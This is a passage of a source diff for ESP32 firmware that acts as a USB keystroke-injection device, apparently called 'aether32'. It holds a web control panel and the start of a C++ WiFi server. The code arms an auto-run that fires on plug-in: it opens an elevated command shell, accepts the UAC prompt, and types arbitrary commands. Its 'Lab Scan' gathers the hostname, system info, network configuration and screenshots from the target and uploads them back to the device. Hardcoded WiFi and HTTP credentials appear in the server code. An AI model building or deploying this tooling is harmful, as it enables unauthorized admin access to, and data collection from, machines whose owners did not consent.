<button class="btn btn-p lab-scan-btn" onclick="labScan()">⚡ Lab Scan</button>
|
||||
<p class="hint" style="margin-top:10px">Runs the Windows lab profile. If that fails, retry uses auto-detect (Win / Mac / Linux).</p>
|
||||
</div>
|
||||
|
||||
<div class="card" id="collect-live-status">
|
||||
<div class="card-title" style="display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:8px">
|
||||
<span>Live Status</span>
|
||||
<span id="collect-phase-pill" class="phase-pill phase-idle">Idle</span>
|
||||
</div>
|
||||
<div class="status-grid">
|
||||
<div class="status-item"><div class="status-label">Phase</div><div class="status-value" id="status-phase-txt">Idle</div></div>
|
||||
<div class="status-item"><div class="status-label">Last upload</div><div class="status-value" id="status-last-upload">—</div></div>
|
||||
<div class="status-item"><div class="status-label">Files on device</div><div class="status-value" id="status-file-count">0</div></div>
|
||||
<div class="status-item"><div class="status-label">Detected OS</div><div class="status-value" id="status-os">unknown</div></div>
|
||||
<div class="status-item" style="grid-column:1/-1"><div class="status-label">Hostname</div><div class="status-value" id="status-hostname">—</div></div>
|
||||
</div>
|
||||
<p class="hint">Updates every 2s while this tab is open.</p>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<div class="card-title">Quick Lab Fixes (Windows)</div>
|
||||
<p style="font-size:.78rem;color:#64748b;margin-bottom:10px">Common IT fixes — sent as keystrokes on the target. No stored credentials.</p>
|
||||
<div class="tgrid" style="grid-template-columns:repeat(auto-fill,minmax(130px,1fr))">
|
||||
<button class="tb" onclick="trick('flush_dns')">Flush DNS</button>
|
||||
<button class="tb" onclick="trick('devmgmt')">Device Manager</button>
|
||||
<button class="tb" onclick="trick('diskmgmt')">Disk Management</button>
|
||||
<button class="tb" onclick="trick('clear_temp')">Clear Temp Folder</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<div class="card-title">Advanced Scan (optional)</div>
|
||||
<div class="tgrid" style="grid-template-columns:repeat(auto-fill,minmax(120px,1fr))">
|
||||
<button class="tb" onclick="collect('profile_auto')">Auto Detect OS</button>
|
||||
<button class="tb" onclick="collect('profile_windows')">Windows only</button>
|
||||
<button class="tb" onclick="collect('screenshot')">Screenshot only</button>
|
||||
<button class="tb" onclick="collect('network')">IP config only</button>
|
||||
<button class="tb" onclick="collect('sysinfo')">System info</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<div class="card-title">Download to Phone</div>
|
||||
<div class="frow">
|
||||
<button class="btn btn-p" onclick="downloadBundle()">⬇ Download Lab Report (.txt)</button>
|
||||
<button class="btn btn-s" onclick="downloadFile('screen.png')">⬇ Screenshot (.png)</button>
|
||||
</div>
|
||||
<p class="hint">Report filename includes hostname when known: <code style="color:#64748b">labscan_HOSTNAME.txt</code></p>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<div class="card-title" style="display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:8px">
|
||||
<span>Collected Files</span>
|
||||
<button class="btn btn-s btn-sm" onclick="loadResults();pollCollectStatus()" style="padding:5px 12px;font-size:.72rem;border-radius:6px">↻ Refresh</button>
|
||||
</div>
|
||||
<div id="results-list" style="margin-bottom:12px"><p class="empty" style="padding:16px 0">No results yet. Run Full Profile above.</p></div>
|
||||
<div id="results-viewer" style="display:none">
|
||||
<div style="display:flex;align-items:center;justify-content:space-between;margin-bottom:8px;flex-wrap:wrap;gap:8px">
|
||||
<span id="results-filename" style="font-family:monospace;font-size:.8rem;color:#a78bfa"></span>
|
||||
<div style="display:flex;gap:6px">
|
||||
<button class="btn btn-p" id="results-dl-btn" onclick="downloadCurrentFile()" style="padding:4px 10px;font-size:.72rem;border-radius:6px">⬇ Download</button>
|
||||
<button class="btn btn-s" onclick="document.getElementById('results-viewer').style.display='none'" style="padding:4px 10px;font-size:.72rem;border-radius:6px">✕ Close</button>
|
||||
</div>
|
||||
</div>
|
||||
<img id="results-image" style="display:none;max-width:100%;border-radius:8px;border:1px solid rgba(255,255,255,.1)" alt="screenshot">
|
||||
<pre id="results-content" style="max-height:50vh;overflow-y:auto;white-space:pre-wrap;word-break:break-all"></pre>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- ────────────── TAB: AUTO-RUN ────────────── -->
|
||||
<div id="tab-autorun" class="tab">
|
||||
|
||||
<div id="ar-status-card" class="card" style="border-color:rgba(100,116,139,.3)">
|
||||
<div style="display:flex;align-items:center;gap:14px">
|
||||
<div id="ar-dot" style="width:14px;height:14px;border-radius:50%;background:#475569;flex-shrink:0;transition:.3s"></div>
|
||||
<div>
|
||||
<div id="ar-status-txt" style="font-size:1.05rem;font-weight:800;color:#e2e8f0">AUTO-RUN: OFF</div>
|
||||
<div id="ar-status-sub" style="font-size:.78rem;color:#475569;margin-top:2px">Plug in → nothing happens</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<div class="card-title">Configuration</div>
|
||||
<form id="ar-form" onsubmit="saveConfig(event)">
|
||||
|
||||
<div style="display:flex;align-items:center;gap:14px;padding:12px;background:rgba(0,0,0,.25);border-radius:10px;margin-bottom:14px">
|
||||
<label class="toggle">
|
||||
<input type="checkbox" name="enabled" id="ar-enabled" value="1" onchange="previewAr(this.checked)">
|
||||
<span class="slider"></span>
|
||||
</label>
|
||||
<div>
|
||||
<div style="font-size:.98rem;font-weight:700;color:#e2e8f0">Enable Auto-Run</div>
|
||||
<div style="font-size:.76rem;color:#64748b">Fires automatically after USB plug-in delay</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style="display:flex;align-items:center;gap:14px;padding:12px;background:rgba(0,0,0,.25);border-radius:10px;margin-bottom:14px">
|
||||
<label class="toggle">
|
||||
<input type="checkbox" name="lab_scan_on_plug" id="ar-lab-scan" value="1">
|
||||
<span class="slider"></span>
|
||||
</label>
|
||||
<div>
|
||||
<div style="font-size:.98rem;font-weight:700;color:#e2e8f0">Lab Scan on plug-in</div>
|
||||
<div style="font-size:.76rem;color:#64748b">After the plug-in delay, run Lab Scan (Windows profile) automatically</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card-title">Delay After Plug-In</div>
|
||||
<div style="margin-bottom:14px">
|
||||
<div style="display:flex;align-items:center;gap:12px;margin-bottom:5px">
|
||||
<input type="range" name="delay" id="ar-delay" min="500" max="12000" step="500" value="3500"
|
||||
oninput="document.getElementById('ar-dval').textContent=(this.value/1000).toFixed(1)+'s'"
|
||||
style="flex:1;accent-color:#7c3aed;height:4px;cursor:pointer;background:rgba(255,255,255,.1);border:none;padding:0">
|
||||
<span id="ar-dval" style="min-width:38px;font-weight:700;color:#a78bfa;font-size:.95rem;text-align:right">3.5s</span>
|
||||
</div>
|
||||
<p class="hint">Time to wait after USB enumerates before firing. Increase for machines that are slow to show the desktop (5-7s is safe). Decrease if the target is already logged in and idle.</p>
|
||||
</div>
|
||||
|
||||
<div class="card-title">Shell to Open on Target</div>
|
||||
<div class="frow" style="margin-bottom:14px">
|
||||
<select name="shell" id="ar-shell" style="flex:1">
|
||||
<option value="elevated">Elevated CMD (UAC prompt → admin shell)</option>
|
||||
<option value="cmd">Regular CMD</option>
|
||||
<option value="powershell">PowerShell</option>
|
||||
<option value="run">Win+R dialog only</option>
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div class="card-title">Command to Run After Shell Opens <span style="color:#475569;text-transform:none;font-weight:400">(optional)</span></div>
|
||||
<textarea name="cmd" id="ar-cmd" placeholder="Leave empty to just pop the shell window. Or add any command to run immediately after the shell opens, e.g.: whoami ipconfig /all hostname"></textarea>
|
||||
<p class="hint" style="margin-bottom:14px">The shell opens first, then this command is typed. Leave blank to just drop a terminal window on the target.</p>
|
||||
|
||||
<button type="submit" class="btn btn-p" style="width:100%;padding:13px">Save Auto-Run Config</button>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<div class="card" style="border-color:rgba(100,116,139,.2)">
|
||||
<div class="card-title">How It Works</div>
|
||||
<div style="font-size:.82rem;color:#64748b;line-height:1.7">
|
||||
<div>1. Plug ESP32 into target machine</div>
|
||||
<div>2. Windows enumerates USB HID keyboard (~instant if driver cached)</div>
|
||||
<div>3. Wait the configured delay for desktop to be ready</div>
|
||||
<div>4. ESP32 types keystrokes: Win+R → shell command → UAC accept → optional command</div>
|
||||
<div style="margin-top:8px;color:#475569">LED turns <span style="color:#f97316">orange</span> on USB connect, <span style="color:#ef4444">red</span> while firing, <span style="color:#10b981">green</span> when done.</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="toast" id="toast"></div>
|
||||
|
||||
<script>
|
||||
var COLORS=['#7c3aed','#0369a1','#047857','#b45309','#be185d','#4f46e5','#0e7490','#a16207','#7f1d1d','#1e3a5f'];
|
||||
var btns=[];
|
||||
var selColor=0;
|
||||
|
||||
// Build color picker
|
||||
(function(){
|
||||
var cr=document.getElementById('color-row');
|
||||
for(var i=0;i<COLORS.length;i++){
|
||||
var s=document.createElement('div');
|
||||
s.className='cs'+(i===0?' active':'');
|
||||
s.style.background=COLORS[i];
|
||||
s.dataset.i=i;
|
||||
s.onclick=function(){
|
||||
document.querySelectorAll('.cs').forEach(function(x){x.classList.remove('active');});
|
||||
this.classList.add('active');
|
||||
selColor=parseInt(this.dataset.i);
|
||||
};
|
||||
cr.appendChild(s);
|
||||
}
|
||||
// hidden color input
|
||||
var hi=document.createElement('input');
|
||||
hi.type='hidden';hi.name='color';hi.id='color-input';hi.value='0';
|
||||
cr.appendChild(hi);
|
||||
})();
|
||||
|
||||
document.getElementById('color-row').addEventListener('click',function(){
|
||||
document.getElementById('color-input').value=selColor;
|
||||
});
|
||||
|
||||
function esc(s){return String(s).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>').replace(/"/g,'"');}
|
||||
|
||||
var toastT;
|
||||
function toast(m,t){
|
||||
var el=document.getElementById('toast');
|
||||
el.textContent=m;el.className='toast show '+(t||'ok');
|
||||
clearTimeout(toastT);
|
||||
toastT=setTimeout(function(){el.classList.remove('show');},2600);
|
||||
}
|
||||
|
||||
function setStatus(s){document.getElementById('stxt').textContent=s;}
|
||||
|
||||
async function postAction(url){
|
||||
setStatus('Working...');
|
||||
try{
|
||||
var r=await fetch(url,{method:'POST'});
|
||||
if(r.ok || r.redirected){toast('Action sent','ok');}
|
||||
else{toast('Action failed','err');}
|
||||
}catch(e){toast('Network error','err');}
|
||||
setTimeout(function(){setStatus('Ready');},3500);
|
||||
}
|
||||
|
||||
function showTab(n){
|
||||
document.querySelectorAll('.tab').forEach(function(t){t.classList.remove('on');});
|
||||
document.querySelectorAll('.nb').forEach(function(b){b.classList.remove('on');});
|
||||
document.getElementById('tab-'+n).classList.add('on');
|
||||
var nb=document.querySelector('[data-tab="'+n+'"]');
|
||||
if(nb) nb.classList.add('on');
|
||||
if(n==='saved'||n==='builder') loadButtons();
|
||||
if(n==='autorun') loadConfig();
|
||||
if(n==='collect'){ loadResults(); startCollectPolling(); }
|
||||
else stopCollectPolling();
|
||||
}
|
||||
|
||||
var statusPollTimer=null;
|
||||
var statusApiAvailable=true;
|
||||
var cachedProfileHost='';
|
||||
|
||||
var PHASE_LABELS={idle:'Idle',sending:'Sending keystrokes',waiting:'Waiting for uploads',complete:'Complete'};
|
||||
|
||||
function mapScanPhase(raw,uploading){
|
||||
if(uploading) return 'waiting';
|
||||
var p=(raw||'idle').toLowerCase();
|
||||
if(p==='idle'||p==='') return 'idle';
|
||||
if(p==='awaiting_uploads'||p==='waiting') return 'waiting';
|
||||
if(p==='complete'||p==='done') return 'complete';
|
||||
if(p==='lab_scan'||p==='lab_collect'||p==='profile'||p==='sending') return 'sending';
|
||||
return 'sending';
|
||||
}
|
||||
|
||||
function phaseToLabel(uiPhase){return PHASE_LABELS[uiPhase]||uiPhase||'Idle';}
|
||||
|
||||
function setCollectPhaseUI(uiPhase){
|
||||
var pill=document.getElementById('collect-phase-pill');
|
||||
var txt=document.getElementById('status-phase-txt');
|
||||
var label=phaseToLabel(uiPhase);
|
||||
if(txt) txt.textContent=label;
|
||||
if(pill){
|
||||
pill.textContent=label;
|
||||
pill.className='phase-pill phase-'+(uiPhase||'idle');
|
||||
}
|
||||
}
|
||||
|
||||
function stopCollectPolling(){
|
||||
if(statusPollTimer){clearInterval(statusPollTimer);statusPollTimer=null;}
|
||||
}
|
||||
|
||||
function startCollectPolling(){
|
||||
stopCollectPolling();
|
||||
pollCollectStatus();
|
||||
statusPollTimer=setInterval(pollCollectStatus,2000);
|
||||
}
|
||||
|
||||
async function pollCollectStatus(){
|
||||
if(statusApiAvailable){
|
||||
try{
|
||||
var r=await fetch('/api/status');
|
||||
if(r.status===404){statusApiAvailable=false;}
|
||||
else if(r.ok){
|
||||
var s=await r.json();
|
||||
var raw=s.scan_phase||s.phase||'idle';
|
||||
var ui=mapScanPhase(raw,s.uploading);
|
||||
if(raw==='awaiting_uploads'&&s.file_count>=4) ui='complete';
|
||||
setCollectPhaseUI(ui);
|
||||
document.getElementById('status-last-upload').textContent=s.last_upload||'—';
|
||||
document.getElementById('status-file-count').textContent=String(s.file_count!=null?s.file_count:0);
|
||||
document.getElementById('status-os').textContent=s.os||'unknown';
|
||||
var h=s.hostname||'—';
|
||||
document.getElementById('status-hostname').textContent=h;
|
||||
if(h&&h!=='unknown'&&h!=='—') cachedProfileHost=h;
|
||||
return;
|
||||
}
|
||||
}catch(e){}
|
||||
}
|
||||
setCollectPhaseUI('idle');
|
||||
try{
|
||||
var pr=await fetch('/api/profile');
|
||||
if(!pr.ok) return;
|
||||
var p=await pr.json();
|
||||
document.getElementById('status-os').textContent=p.os||'unknown';
|
||||
var host=p.hostname&&p.hostname!=='unknown'?p.hostname:'—';
|
||||
document.getElementById('status-hostname').textContent=host;
|
||||
if(host&&host!=='unknown'&&host!=='—') cachedProfileHost=host.split(/\s/)[0];
|
||||
var fc=(p.files&&p.files.length)||0;
|
||||
document.getElementById('status-file-count').textContent=String(fc);
|
||||
}catch(e){}
|
||||
}
|
||||
|
||||
async function loadButtons(){
|
||||
try{
|
||||
var r=await fetch('/api/buttons');
|
||||
btns=await r.json();
|
||||
renderSaved();
|
||||
renderManage();
|
||||
}catch(e){toast('Load failed','err');}
|
||||
}
|
||||
|
||||
function renderSaved(){
|
||||
var g=document.getElementById('sbgrid');
|
||||
if(!btns.length){
|
||||
g.innerHTML='<p class="empty">No saved buttons yet.<br>Go to Builder tab to add some.</p>';
|
||||
return;
|
||||
}
|
||||
var html=btns.map(function(b,i){
|
||||
var col=COLORS[b.color!==undefined?b.color%COLORS.length:i%COLORS.length];
|
||||
var prev=esc(b.shell)+' · '+esc(b.cmd.length>38?b.cmd.substring(0,38)+'...':b.cmd);
|
||||
return '<div class="sbc"><button class="sbc-run" style="background:linear-gradient(145deg,'+col+','+col+'bb)" onclick="runSaved('+i+')">'+esc(b.label)+'</button>'
|
||||
+'<div class="sbc-preview">'+prev+'</div>'
|
||||
+'<button class="sbc-del" onclick="delBtn('+i+')" title="Delete">×</button></div>';
|
||||
}).join('');
|
||||
// Add "+" tile at end
|
||||
html+='<div class="add-shortcut" onclick="showTab(\'builder\')"><span>+</span><span>Add Button</span></div>';
|
||||
g.innerHTML=html;
|
||||
}
|
||||
|
||||
function renderManage(){
|
||||
var el=document.getElementById('mlist');
|
||||
if(!btns.length){el.innerHTML='<p class="empty">No buttons saved yet.</p>';return;}
|
||||
el.innerHTML=btns.map(function(b,i){
|
||||
return '<div class="mrow">'
|
||||
+'<div class="mrow-info"><div class="mrow-label">'+esc(b.label)+'</div>'
|
||||
+'<div class="mrow-cmd">'+esc(b.shell)+' → '+esc(b.cmd)+'</div></div>'
|
||||
+'<button class="btn btn-d" style="padding:6px 11px;font-size:.75rem;flex-shrink:0" onclick="delBtn('+i+')">Delete</button>'
|
||||
+'</div>';
|
||||
}).join('');
|
||||
}
|
||||
|
||||
async function runSaved(i){
|
||||
var b=btns[i];
|
||||
setStatus('Running: '+b.label+'...');
|
||||
toast('Sending: '+b.label,'info');
|
||||
var fd=new FormData();
|
||||
fd.append('shell',b.shell);fd.append('cmd',b.cmd);fd.append('delay',b.delay);
|
||||
try{
|
||||
var r=await fetch('/run',{method:'POST',body:fd});
|
||||
if(r.ok){toast('Sent: '+b.label,'ok');setStatus('Done');}
|
||||
else{toast('Send failed','err');setStatus('Error');}
|
||||
}catch(e){toast('Network error','err');}
|
||||
setTimeout(function(){setStatus('Ready');},3500);
|
||||
}
|
||||
|
||||
async function delBtn(i){
|
||||
if(!confirm('Delete "'+btns[i].label+'"?')) return;
|
||||
var fd=new FormData();fd.append('id',i);
|
||||
try{
|
||||
var r=await fetch('/api/buttons/delete',{method:'POST',body:fd});
|
||||
if(r.ok){await loadButtons();toast('Deleted','ok');}
|
||||
else toast('Delete failed','err');
|
||||
}catch(e){toast('Error','err');}
|
||||
}
|
||||
|
||||
async function addButton(e){
|
||||
e.preventDefault();
|
||||
var fd=new FormData(e.target);
|
||||
// sync hidden color field
|
||||
fd.set('color',selColor);
|
||||
try{
|
||||
var r=await fetch('/api/buttons',{method:'POST',body:fd});
|
||||
if(r.ok){
|
||||
e.target.reset();
|
||||
selColor=0;
|
||||
document.querySelectorAll('.cs').forEach(function(x,i){x.classList.toggle('active',i===0);});
|
||||
toast('Button saved!','ok');
|
||||
showTab('saved');
|
||||
} else toast('Save failed','err');
|
||||
}catch(e){toast('Error','err');}
|
||||
}
|
||||
|
||||
async function trick(id){
|
||||
setStatus('Trick: '+id);
|
||||
var fd=new FormData();fd.append('id',id);
|
||||
try{await fetch('/trick',{method:'POST',body:fd});toast(id,'ok');}catch(e){}
|
||||
setTimeout(function(){setStatus('Ready');},3500);
|
||||
}
|
||||
|
||||
async function runCmd(e){
|
||||
e.preventDefault();
|
||||
setStatus('Sending command...');
|
||||
var fd=new FormData(e.target);
|
||||
try{
|
||||
var r=await fetch('/run',{method:'POST',body:fd});
|
||||
if(r.ok) toast('Command sent','ok');
|
||||
else toast('Failed','err');
|
||||
}catch(e){toast('Error','err');}
|
||||
setTimeout(function(){setStatus('Ready');},3500);
|
||||
}
|
||||
|
||||
async function typeText(e){
|
||||
e.preventDefault();
|
||||
var fd=new FormData(e.target);
|
||||
try{
|
||||
var r=await fetch('/type',{method:'POST',body:fd});
|
||||
if(r.ok) toast('Text typed','ok');
|
||||
else toast('Failed','err');
|
||||
}catch(e){toast('Error','err');}
|
||||
}
|
||||
|
||||
async function loadConfig(){
|
||||
try{
|
||||
var r=await fetch('/api/config');
|
||||
var c=await r.json();
|
||||
document.getElementById('ar-enabled').checked=c.enabled;
|
||||
document.getElementById('ar-delay').value=c.delay;
|
||||
document.getElementById('ar-dval').textContent=(c.delay/1000).toFixed(1)+'s';
|
||||
document.getElementById('ar-shell').value=c.shell;
|
||||
document.getElementById('ar-cmd').value=c.cmd||'';
|
||||
var ls=document.getElementById('ar-lab-scan');
|
||||
if(ls) ls.checked=!!c.lab_scan_on_plug;
|
||||
previewAr(c.enabled);
|
||||
}catch(e){toast('Config load failed','err');}
|
||||
}
|
||||
|
||||
async function saveConfig(e){
|
||||
e.preventDefault();
|
||||
var fd=new FormData(e.target);
|
||||
if(!document.getElementById('ar-enabled').checked) fd.set('enabled','0');
|
||||
else fd.set('enabled','1');
|
||||
var ls=document.getElementById('ar-lab-scan');
|
||||
fd.set('lab_scan_on_plug',ls&&ls.checked?'1':'0');
|
||||
try{
|
||||
var r=await fetch('/api/config',{method:'POST',body:fd});
|
||||
if(r.ok){toast('Auto-run config saved!','ok');await loadConfig();}
|
||||
else toast('Save failed','err');
|
||||
}catch(e){toast('Error','err');}
|
||||
}
|
||||
|
||||
function previewAr(on){
|
||||
var dot=document.getElementById('ar-dot');
|
||||
var badge=document.getElementById('ar-badge');
|
||||
var card=document.getElementById('ar-status-card');
|
||||
var nb=document.getElementById('ar-nav-btn');
|
||||
if(on){
|
||||
dot.style.background='#ef4444';
|
||||
dot.style.boxShadow='0 0 12px #ef4444';
|
||||
dot.style.animation='armpulse 1.4s infinite';
|
||||
document.getElementById('ar-status-txt').textContent='AUTO-RUN: ARMED';
|
||||
document.getElementById('ar-status-sub').textContent='Will fire on next plug-in after delay';
|
||||
card.style.borderColor='rgba(239,68,68,.5)';
|
||||
card.style.background='linear-gradient(135deg,rgba(239,68,68,.08),rgba(124,58,237,.04))';
|
||||
if(badge) badge.style.display='inline-block';
|
||||
if(nb) nb.style.color='#fca5a5';
|
||||
} else {
|
||||
dot.style.background='#475569';
|
||||
dot.style.boxShadow='none';
|
||||
dot.style.animation='none';
|
||||
document.getElementById('ar-status-txt').textContent='AUTO-RUN: OFF';
|
||||
document.getElementById('ar-status-sub').textContent='Plug in \u2192 nothing happens';
|
||||
card.style.borderColor='rgba(100,116,139,.3)';
|
||||
card.style.background='';
|
||||
if(badge) badge.style.display='none';
|
||||
if(nb) nb.style.color='';
|
||||
}
|
||||
}
|
||||
|
||||
function sanitizeHostname(h){
|
||||
if(!h||h==='unknown') return 'unknown';
|
||||
return String(h).replace(/[^\w.-]+/g,'_').replace(/_+/g,'_').replace(/^_|_$/g,'').substring(0,48)||'unknown';
|
||||
}
|
||||
|
||||
async function postCollectTrick(trickId){
|
||||
var fd=new FormData();fd.append('id',trickId);
|
||||
return fetch('/trick',{method:'POST',body:fd});
|
||||
}
|
||||
|
||||
async function labScan(){
|
||||
setStatus('Lab Scan...');
|
||||
setCollectPhaseUI('sending');
|
||||
toast('Lab Scan started — wait for uploads','info');
|
||||
try{
|
||||
var r=await postCollectTrick('collect_lab_scan');
|
||||
if(!r.ok){
|
||||
await postCollectTrick('collect_profile_auto');
|
||||
toast('Retry: auto-detect profile','info');
|
||||
}else{
|
||||
toast('Lab Scan keystrokes sent','ok');
|
||||
}
|
||||
}catch(e){toast('Network error','err');}
|
||||
setTimeout(function(){setStatus('Ready');pollCollectStatus();loadResults();},5000);
|
||||
}
|
||||
|
||||
async function collect(id){
|
||||
setStatus('Collecting: '+id+'...');
|
||||
setCollectPhaseUI('sending');
|
||||
toast('Scan started — watch Live Status','info');
|
||||
try{
|
||||
var r=await postCollectTrick('collect_'+id);
|
||||
if(r.ok) toast('Sent: '+id,'ok');
|
||||
else toast('Failed','err');
|
||||
}catch(e){toast('Error','err');}
|
||||
setTimeout(function(){setStatus('Ready');pollCollectStatus();loadResults();},5000);
|
||||
}
|
||||
|
||||
var currentResultFile='';
|
||||
|
||||
function triggerDownload(url,filename){
|
||||
var a=document.createElement('a');
|
||||
a.href=url;a.download=filename||'';a.style.display='none';
|
||||
document.body.appendChild(a);a.click();document.body.removeChild(a);
|
||||
}
|
||||
|
||||
async function downloadBundle(){
|
||||
toast('Preparing report...','info');
|
||||
var host='unknown';
|
||||
try{
|
||||
var r=await fetch('/api/profile');
|
||||
if(r.ok){
|
||||
var p=await r.json();
|
||||
var raw=(p.hostname||cachedProfileHost||'unknown').split(/\s/)[0];
|
||||
host=sanitizeHostname(raw);
|
||||
}
|
||||
}catch(e){
|
||||
if(cachedProfileHost) host=sanitizeHostname(cachedProfileHost);
|
||||
}
|
||||
triggerDownload('/api/download/bundle','labscan_'+host+'.txt');
|
||||
}
|
||||
|
||||
function downloadFile(name){
|
||||
triggerDownload('/api/download?path='+encodeURIComponent('/results/'+name),name);
|
||||
}
|
||||
|
||||
function downloadCurrentFile(){
|
||||
if(currentResultFile) downloadFile(currentResultFile);
|
||||
}
|
||||
|
||||
var resultsRefreshTimer=null;
|
||||
async function loadResults(){
|
||||
try{
|
||||
var r=await fetch('/api/results');
|
||||
var files=await r.json();
|
||||
var el=document.getElementById('results-list');
|
||||
if(!files.length){
|
||||
el.innerHTML='<p class="empty" style="padding:16px 0">No results yet. Run Lab Scan, wait ~25s, then Refresh.</p>';
|
||||
return;
|
||||
}
|
||||
var html='<div style="display:grid;grid-template-columns:repeat(auto-fill,minmax(160px,1fr));gap:8px">';
|
||||
html+=files.map(function(f){
|
||||
var kb=(f.size/1024).toFixed(1);
|
||||
var isImg=f.name.endsWith('.png');
|
||||
return '<div data-name="'+esc(f.name)+'" style="cursor:pointer;padding:10px;background:rgba(0,0,0,.3);border:1px solid rgba(255,255,255,.07);border-radius:8px;transition:.15s" onmouseover="this.style.borderColor=\'#7c3aed\'" onmouseout="this.style.borderColor=\'rgba(255,255,255,.07)\'">'
|
||||
+'<div onclick="viewResult(\''+esc(f.name)+'\')" style="font-family:monospace;font-size:.78rem;color:#a78bfa;margin-bottom:4px">'+(isImg?'📷 ':'')+esc(f.name)+'</div>'
|
||||
+'<div style="display:flex;justify-content:space-between;align-items:center">'
|
||||
+'<span style="font-size:.68rem;color:#475569">'+kb+' KB</span>'
|
||||
+'<button class="btn btn-s" onclick="event.stopPropagation();downloadFile(\''+esc(f.name)+'\')" style="padding:2px 8px;font-size:.65rem;border-radius:4px">⬇</button>'
|
||||
+'</div></div>';
|
||||
}).join('');
|
||||
html+='</div>';
|
||||
el.innerHTML=html;
|
||||
}catch(e){toast('Could not load results','err');}
|
||||
}
|
||||
|
||||
async function viewResult(name){
|
||||
currentResultFile=name;
|
||||
var imgEl=document.getElementById('results-image');
|
||||
var preEl=document.getElementById('results-content');
|
||||
document.getElementById('results-filename').textContent=name;
|
||||
document.getElementById('results-viewer').style.display='block';
|
||||
|
||||
if(name.endsWith('.png')){
|
||||
imgEl.src='/api/download?path='+encodeURIComponent('/results/'+name)+'&t='+Date.now();
|
||||
imgEl.style.display='block';
|
||||
preEl.style.display='none';
|
||||
preEl.textContent='';
|
||||
document.getElementById('results-viewer').scrollIntoView({behavior:'smooth'});
|
||||
return;
|
||||
}
|
||||
|
||||
imgEl.style.display='none';
|
||||
preEl.style.display='block';
|
||||
try{
|
||||
var r=await fetch('/api/file?path=/results/'+encodeURIComponent(name));
|
||||
if(!r.ok){toast('File not found','err');return;}
|
||||
preEl.textContent=await r.text()||'(empty)';
|
||||
document.getElementById('results-viewer').scrollIntoView({behavior:'smooth'});
|
||||
}catch(e){toast('Load failed','err');}
|
||||
}
|
||||
|
||||
loadButtons();
|
||||
loadConfig();
|
||||
</script>
|
||||
</body></html>
|
||||
)KILLA";
|
||||
|
||||
// Expose subpageCSS pointer so streamed subpages can reuse it.
|
||||
const char *getSubpageCSS() { return subpageCSS; }
|
||||
8
src/components/web_content.h
Normal file
8
src/components/web_content.h
Normal file
@@ -0,0 +1,8 @@
|
||||
#ifndef WEB_CONTENT_H
|
||||
#define WEB_CONTENT_H
|
||||
|
||||
extern const char *rootViewHTML;
|
||||
|
||||
const char *getSubpageCSS();
|
||||
|
||||
#endif
|
||||
495
src/components/wifi_server.cpp
Normal file
495
src/components/wifi_server.cpp
Normal file
@@ -0,0 +1,495 @@
|
||||
#include <Arduino.h>
|
||||
#include <WiFi.h>
|
||||
#include <LittleFS.h>
|
||||
#include "web_content.h"
|
||||
#include "exescript.h"
|
||||
#include "tricks.h"
|
||||
#include "button_store.h"
|
||||
#include "config_store.h"
|
||||
#include "flash_fs.h"
|
||||
#include "upload_status.h"
|
||||
#include "collector.h"
|
||||
#include "wifi_server.h"
|
||||
|
||||
const char *ssid = "aether32";
|
||||
const char *password = "aether32-admin";
|
||||
|
||||
static const char *http_user = "drjones";
|
||||
static const char *http_pass = "aether32-admin";
|
||||
|
||||
WebServer server(80);
|
||||
bool check_delay = false;
|
||||
|
||||
static const size_t MAX_UPLOAD_BYTES = 250000;
|
||||
|
||||
// ─── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
static void sendJson(int code, const String &body)
|
||||
{
|
||||
server.send(code, "application/json", body);
|
||||
}
|
||||
|
||||
static bool requireAuth()
|
||||
{
|
||||
if (server.authenticate(http_user, http_pass))
|
||||
return true;
|
||||
server.requestAuthentication();
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool isSafeResultName(const String &name)
|
||||
{
|
||||
if (name.length() == 0 || name.length() > 64)
|
||||
return false;
|
||||
if (name.indexOf('/') >= 0 || name.indexOf('\\') >= 0 || name.indexOf("..") >= 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
static String jsonEscape(const String &s)
|
||||
{
|
||||
String out;
|
||||
out.reserve(s.length() + 8);
|
||||
for (size_t i = 0; i < s.length(); i++)
|
||||
{
|
||||
char c = s.charAt(i);
|
||||
if (c == '\\') out += "\\\\";
|
||||
else if (c == '"') out += "\\\"";
|
||||
else if (c == '\n') out += "\\n";
|
||||
else if (c == '\r') { /* skip */ }
|
||||
else out += c;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
static bool isAllowedShell(const String &shell)
|
||||
{
|
||||
return shell == "elevated" || shell == "cmd" || shell == "powershell" || shell == "run";
|
||||
}
|
||||
|
||||
static bool isNumeric(const String &s)
|
||||
{
|
||||
if (s.length() == 0) return false;
|
||||
for (size_t i = 0; i < s.length(); i++)
|
||||
if (!isDigit(s.charAt(i))) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
static String readUploadBody()
|
||||
{
|
||||
if (server.hasArg("plain"))
|
||||
return server.arg("plain");
|
||||
|
||||
WiFiClient client = server.client();
|
||||
String body;
|
||||
body.reserve(4096);
|
||||
unsigned long start = millis();
|
||||
while (client.connected() && body.length() < MAX_UPLOAD_BYTES && millis() - start < 8000)
|
||||
{
|
||||
while (client.available() && body.length() < MAX_UPLOAD_BYTES)
|
||||
body += (char)client.read();
|
||||
delay(1);
|
||||
}
|
||||
return body;
|
||||
}
|
||||
|
||||
// ─── Root ────────────────────────────────────────────────────────────────────
|
||||
|
||||
void handleRootRequest()
|
||||
{
|
||||
if (!requireAuth()) return;
|
||||
server.send(200, "text/html", rootViewHTML);
|
||||
}
|
||||
|
||||
